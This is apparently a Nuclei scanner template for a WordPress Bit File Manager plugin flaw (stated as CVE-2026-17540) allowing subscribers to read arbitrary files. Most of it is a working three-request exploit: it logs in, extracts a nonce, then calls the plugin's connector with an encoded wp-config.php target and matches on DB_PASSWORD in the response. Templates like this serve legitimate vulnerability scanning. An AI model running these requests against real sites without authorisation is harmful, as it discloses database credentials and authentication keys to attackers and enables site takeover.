WordPress Bit File Manager < 6.9.1 - Arbitrary File Read

id: CVE-2026-17540

info:
  name: WordPress Bit File Manager < 6.9.1 - Arbitrary File Read
  author: anirbala98
  severity: high
  description: |
    The Bit File Manager WordPress plugin before 6.9.1 does not properly authorise its file management commands, allowing any authenticated user, such as a subscriber, to read and delete arbitrary files under the WordPress installation directory.
  impact: |
    Authenticated attackers with Subscriber-level privileges can disclose local files, including configuration files that contain database credentials and authentication keys.
  remediation: |
    Update to version 6.9.1 or later.
  reference:
    - https://wpscan.com/vulnerability/096cb7df-26a5-4f5f-bbec-725e063a2b75/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-17540
    - https://wordpress.org/plugins/file-manager/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2026-17540
    epss-score: 0.00424
    epss-percentile: 0.36466
    cwe-id: CWE-284
  metadata:
    verified: true
    max-request: 3
    vendor: bit-apps
    product: file-manager
    framework: wordpress
    fofa-query: body="/wp-content/plugins/file-manager/"
  tags: cve,cve2026,wordpress,wp,wp-plugin,file-read,authenticated,file-manager

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin-ajax.php?action=rest-nonce HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: nonce
        part: body
        group: 1
        regex:
          - '([a-f0-9]+)'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php?action=bitapps_fm_connector&cmd=file&target=l1_d3AtY29uZmlnLnBocA&nonce={{nonce}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        x=1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/x-php")'
          - 'contains_all(body, "DB_NAME", "DB_PASSWORD")'
        condition: and
# digest: 4b0a00483046022100f3777b155023a229472256508728dc5a6ae1037e9ae7c485764c2f689b955f46022100c78cbfaf876ca71bc3ab4b68f939904c8142257c776c7ba930c5cdae442031dc:922c64590222798bb761d5b6d8e72950